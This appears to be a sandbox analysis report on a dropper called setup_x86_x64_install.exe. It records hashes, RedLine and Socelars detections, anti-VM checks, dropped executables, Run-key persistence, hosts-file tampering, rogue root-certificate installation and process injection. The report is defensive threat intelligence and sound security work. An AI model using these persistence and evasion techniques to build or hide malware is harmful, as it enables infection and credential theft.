Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
09/09/2021, 17:41
210909-v9lgtabfhq 1009/09/2021, 04:26
210909-e21nrsfee3 1008/09/2021, 21:37
210908-1gnpcsfbc9 1008/09/2021, 21:29
210908-1bx1vafbc5 1008/09/2021, 13:52
210908-q6fd6shgdj 1007/09/2021, 18:07
210907-wqa3eagcgr 10Analysis
-
max time kernel
156s -
max time network
606s -
platform
windows7_x64 -
resource
win7-jp -
submitted
09/09/2021, 17:41
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
General
-
Target
setup_x86_x64_install.exe
-
Size
2.9MB
-
MD5
3f1f81101d0ce95fdfac97f5913cd662
-
SHA1
8e615a64e4d72b08926242b7d73a608bdd7e9fce
-
SHA256
90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407
-
SHA512
a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285
Malware Config
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2108 1772 rundll32.exe 14 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2908 1772 rundll32.exe 14 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3384 1772 rundll32.exe 14 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 1 IoCs
resource yara_rule behavioral1/memory/2124-261-0x000000000041C5E2-mapping.dmp family_redline -
Socelars Payload 3 IoCs
resource yara_rule behavioral1/files/0x0001000000012f3a-117.dat family_socelars behavioral1/files/0x0001000000012f3a-147.dat family_socelars behavioral1/files/0x0001000000012f3a-160.dat family_socelars -
resource yara_rule behavioral1/files/0x0001000000012f3e-111.dat redline behavioral1/files/0x0001000000012f3e-156.dat redline behavioral1/files/0x0001000000012f3e-155.dat redline behavioral1/files/0x0001000000012f3e-165.dat redline -
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
resource yara_rule behavioral1/files/0x0001000000012f32-69.dat aspack_v212_v242 behavioral1/files/0x0002000000012f2c-72.dat aspack_v212_v242 behavioral1/files/0x0002000000012f2c-71.dat aspack_v212_v242 behavioral1/files/0x0001000000012f32-70.dat aspack_v212_v242 behavioral1/files/0x0001000000012f34-75.dat aspack_v212_v242 behavioral1/files/0x0001000000012f34-76.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 46807GHF____.exe -
Executes dropped EXE 45 IoCs
pid Process 1960 setup_installer.exe 1464 setup_install.exe 1828 Tue11d7385a978cc.exe 940 Tue11b9d76a96506.exe 816 Tue1109eec571ac.exe 924 Tue11f251db82fb7b.exe 1080 Tue11141271fbe5877f.exe 1052 Tue11bc0507b56295.exe 1592 Tue118f55232e4.exe 1976 Tue112c483dd3245d.exe 1540 Tue11e4e580f2e8141a3.exe 1632 Tue11b9d76a96506.tmp 548 LzmwAqmV.exe 2056 2175276.exe 2212 2745689.exe 2264 conhost.exe 2328 PublicDwlBrowser1100.exe 2372 Alfanewfile2.exe 2404 2.exe 2696 215081.exe 2464 setup.exe 2728 setup_2.exe 2752 3002.exe 2788 jhuuee.exe 2828 BearVpn 3.exe 2856 setup_2.tmp 2896 3002.exe 2920 WinHoster.exe 3020 setup_2.exe 3064 setup_2.tmp 1740 46807GHF____.exe 936 1118032.exe 2124 Tue11e4e580f2e8141a3.exe 2668 3147110.exe 2876 gZ9~4qZ~O.EXE 2588 7669106.exe 2100 3678372.exe 1524 services64.exe 1684 4187161.exe 2956 sihost64.exe 2080 ultramediaburner.exe 2984 Domuhaedexu.exe 1180 ultramediaburner.tmp 2480 SHikaevosaeqae.exe 2532 UltraMediaBurner.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7669106.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7669106.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4187161.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4187161.exe -
Loads dropped DLL 64 IoCs
pid Process 1996 setup_x86_x64_install.exe 1960 setup_installer.exe 1960 setup_installer.exe 1960 setup_installer.exe 1960 setup_installer.exe 1960 setup_installer.exe 1960 setup_installer.exe 1464 setup_install.exe 1464 setup_install.exe 1464 setup_install.exe 1464 setup_install.exe 1464 setup_install.exe 1464 setup_install.exe 1464 setup_install.exe 1464 setup_install.exe 1812 cmd.exe 328 cmd.exe 1696 cmd.exe 976 cmd.exe 976 cmd.exe 1828 Tue11d7385a978cc.exe 1828 Tue11d7385a978cc.exe 552 cmd.exe 552 cmd.exe 1908 cmd.exe 940 Tue11b9d76a96506.exe 940 Tue11b9d76a96506.exe 1656 cmd.exe 816 Tue1109eec571ac.exe 816 Tue1109eec571ac.exe 428 cmd.exe 428 cmd.exe 612 cmd.exe 612 cmd.exe 940 Tue11b9d76a96506.exe 1976 Tue112c483dd3245d.exe 1976 Tue112c483dd3245d.exe 1540 Tue11e4e580f2e8141a3.exe 1540 Tue11e4e580f2e8141a3.exe 1632 Tue11b9d76a96506.tmp 1632 Tue11b9d76a96506.tmp 1632 Tue11b9d76a96506.tmp 548 LzmwAqmV.exe 548 LzmwAqmV.exe 2212 2745689.exe 2212 2745689.exe 548 LzmwAqmV.exe 548 LzmwAqmV.exe 548 LzmwAqmV.exe 548 LzmwAqmV.exe 2120 rundll32.exe 2120 rundll32.exe 2120 rundll32.exe 2120 rundll32.exe 2372 Alfanewfile2.exe 2372 Alfanewfile2.exe 548 LzmwAqmV.exe 548 LzmwAqmV.exe 548 LzmwAqmV.exe 2696 215081.exe 2696 215081.exe 548 LzmwAqmV.exe 548 LzmwAqmV.exe 548 LzmwAqmV.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 2745689.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Internet Explorer\\Fumoshaetuso.exe\"" 46807GHF____.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7669106.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 4187161.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 39 ip-api.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2588 7669106.exe 1684 4187161.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1540 set thread context of 2124 1540 Tue11e4e580f2e8141a3.exe 89 PID 1540 set thread context of 852 1540 Tue11e4e580f2e8141a3.exe 93 PID 1524 set thread context of 1076 1524 services64.exe 126 -
Drops file in Program Files directory 12 IoCs
description ioc Process File created C:\Program Files (x86)\FarLabUninstaller\is-DSI8E.tmp setup_2.tmp File created C:\Program Files\Mozilla Firefox\HOXSCHRBQB\ultramediaburner.exe.config 46807GHF____.exe File created C:\Program Files (x86)\Internet Explorer\Fumoshaetuso.exe 46807GHF____.exe File created C:\Program Files (x86)\Internet Explorer\Fumoshaetuso.exe.config 46807GHF____.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files\Mozilla Firefox\HOXSCHRBQB\ultramediaburner.exe 46807GHF____.exe File created C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\is-MN9UN.tmp ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\is-QOPUR.tmp ultramediaburner.tmp File opened for modification C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
pid pid_target Process procid_target 2888 2404 WerFault.exe 66 2220 1976 WerFault.exe 48 516 2372 WerFault.exe 64 1048 2056 WerFault.exe 54 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2108 schtasks.exe 2244 schtasks.exe -
Kills process with taskkill 6 IoCs
pid Process 2188 taskkill.exe 2188 taskkill.exe 2616 taskkill.exe 3344 taskkill.exe 3496 taskkill.exe 3196 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{0A123C00-1195-11EC-BBAD-FE4AFC315D7E} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 2.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 2.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Alfanewfile2.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Alfanewfile2.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 7 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 38 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 516 powershell.exe 3064 setup_2.tmp 3064 setup_2.tmp 2888 WerFault.exe 2888 WerFault.exe 2888 WerFault.exe 2888 WerFault.exe 2888 WerFault.exe 2888 WerFault.exe 2888 WerFault.exe 2888 WerFault.exe 516 WerFault.exe 516 WerFault.exe 516 WerFault.exe 516 WerFault.exe 516 WerFault.exe 516 WerFault.exe 516 WerFault.exe 516 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2220 WerFault.exe 2264 conhost.exe 1524 services64.exe 1180 ultramediaburner.tmp 1180 ultramediaburner.tmp 1684 4187161.exe 1684 4187161.exe -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 516 powershell.exe Token: SeDebugPrivilege 924 Tue11f251db82fb7b.exe Token: SeDebugPrivilege 1080 Tue11141271fbe5877f.exe Token: SeDebugPrivilege 2188 taskkill.exe Token: SeDebugPrivilege 2056 2175276.exe Token: SeDebugPrivilege 2404 2.exe Token: SeDebugPrivilege 2328 PublicDwlBrowser1100.exe Token: SeDebugPrivilege 2828 BearVpn 3.exe Token: SeDebugPrivilege 2188 taskkill.exe Token: SeDebugPrivilege 2888 WerFault.exe Token: SeDebugPrivilege 516 WerFault.exe Token: SeDebugPrivilege 2220 WerFault.exe Token: SeDebugPrivilege 2616 taskkill.exe Token: SeDebugPrivilege 2264 conhost.exe Token: SeDebugPrivilege 2588 7669106.exe Token: SeDebugPrivilege 2100 3678372.exe Token: SeDebugPrivilege 1684 4187161.exe Token: SeDebugPrivilege 1524 services64.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3064 setup_2.tmp 1180 ultramediaburner.tmp -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1660 iexplore.exe 1660 iexplore.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1996 wrote to memory of 1960 1996 setup_x86_x64_install.exe 26 PID 1996 wrote to memory of 1960 1996 setup_x86_x64_install.exe 26 PID 1996 wrote to memory of 1960 1996 setup_x86_x64_install.exe 26 PID 1996 wrote to memory of 1960 1996 setup_x86_x64_install.exe 26 PID 1996 wrote to memory of 1960 1996 setup_x86_x64_install.exe 26 PID 1996 wrote to memory of 1960 1996 setup_x86_x64_install.exe 26 PID 1996 wrote to memory of 1960 1996 setup_x86_x64_install.exe 26 PID 1960 wrote to memory of 1464 1960 setup_installer.exe 27 PID 1960 wrote to memory of 1464 1960 setup_installer.exe 27 PID 1960 wrote to memory of 1464 1960 setup_installer.exe 27 PID 1960 wrote to memory of 1464 1960 setup_installer.exe 27 PID 1960 wrote to memory of 1464 1960 setup_installer.exe 27 PID 1960 wrote to memory of 1464 1960 setup_installer.exe 27 PID 1960 wrote to memory of 1464 1960 setup_installer.exe 27 PID 1464 wrote to memory of 1716 1464 setup_install.exe 29 PID 1464 wrote to memory of 1716 1464 setup_install.exe 29 PID 1464 wrote to memory of 1716 1464 setup_install.exe 29 PID 1464 wrote to memory of 1716 1464 setup_install.exe 29 PID 1464 wrote to memory of 1716 1464 setup_install.exe 29 PID 1464 wrote to memory of 1716 1464 setup_install.exe 29 PID 1464 wrote to memory of 1716 1464 setup_install.exe 29 PID 1464 wrote to memory of 1812 1464 setup_install.exe 30 PID 1464 wrote to memory of 1812 1464 setup_install.exe 30 PID 1464 wrote to memory of 1812 1464 setup_install.exe 30 PID 1464 wrote to memory of 1812 1464 setup_install.exe 30 PID 1464 wrote to memory of 1812 1464 setup_install.exe 30 PID 1464 wrote to memory of 1812 1464 setup_install.exe 30 PID 1464 wrote to memory of 1812 1464 setup_install.exe 30 PID 1464 wrote to memory of 1696 1464 setup_install.exe 31 PID 1464 wrote to memory of 1696 1464 setup_install.exe 31 PID 1464 wrote to memory of 1696 1464 setup_install.exe 31 PID 1464 wrote to memory of 1696 1464 setup_install.exe 31 PID 1464 wrote to memory of 1696 1464 setup_install.exe 31 PID 1464 wrote to memory of 1696 1464 setup_install.exe 31 PID 1464 wrote to memory of 1696 1464 setup_install.exe 31 PID 1464 wrote to memory of 328 1464 setup_install.exe 32 PID 1464 wrote to memory of 328 1464 setup_install.exe 32 PID 1464 wrote to memory of 328 1464 setup_install.exe 32 PID 1464 wrote to memory of 328 1464 setup_install.exe 32 PID 1464 wrote to memory of 328 1464 setup_install.exe 32 PID 1464 wrote to memory of 328 1464 setup_install.exe 32 PID 1464 wrote to memory of 328 1464 setup_install.exe 32 PID 1464 wrote to memory of 976 1464 setup_install.exe 33 PID 1464 wrote to memory of 976 1464 setup_install.exe 33 PID 1464 wrote to memory of 976 1464 setup_install.exe 33 PID 1464 wrote to memory of 976 1464 setup_install.exe 33 PID 1464 wrote to memory of 976 1464 setup_install.exe 33 PID 1464 wrote to memory of 976 1464 setup_install.exe 33 PID 1464 wrote to memory of 976 1464 setup_install.exe 33 PID 1464 wrote to memory of 552 1464 setup_install.exe 34 PID 1464 wrote to memory of 552 1464 setup_install.exe 34 PID 1464 wrote to memory of 552 1464 setup_install.exe 34 PID 1464 wrote to memory of 552 1464 setup_install.exe 34 PID 1464 wrote to memory of 552 1464 setup_install.exe 34 PID 1464 wrote to memory of 552 1464 setup_install.exe 34 PID 1464 wrote to memory of 552 1464 setup_install.exe 34 PID 1464 wrote to memory of 612 1464 setup_install.exe 37 PID 1464 wrote to memory of 612 1464 setup_install.exe 37 PID 1464 wrote to memory of 612 1464 setup_install.exe 37 PID 1464 wrote to memory of 612 1464 setup_install.exe 37 PID 1464 wrote to memory of 612 1464 setup_install.exe 37 PID 1464 wrote to memory of 612 1464 setup_install.exe 37 PID 1464 wrote to memory of 612 1464 setup_install.exe 37 PID 1812 wrote to memory of 1828 1812 cmd.exe 36
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
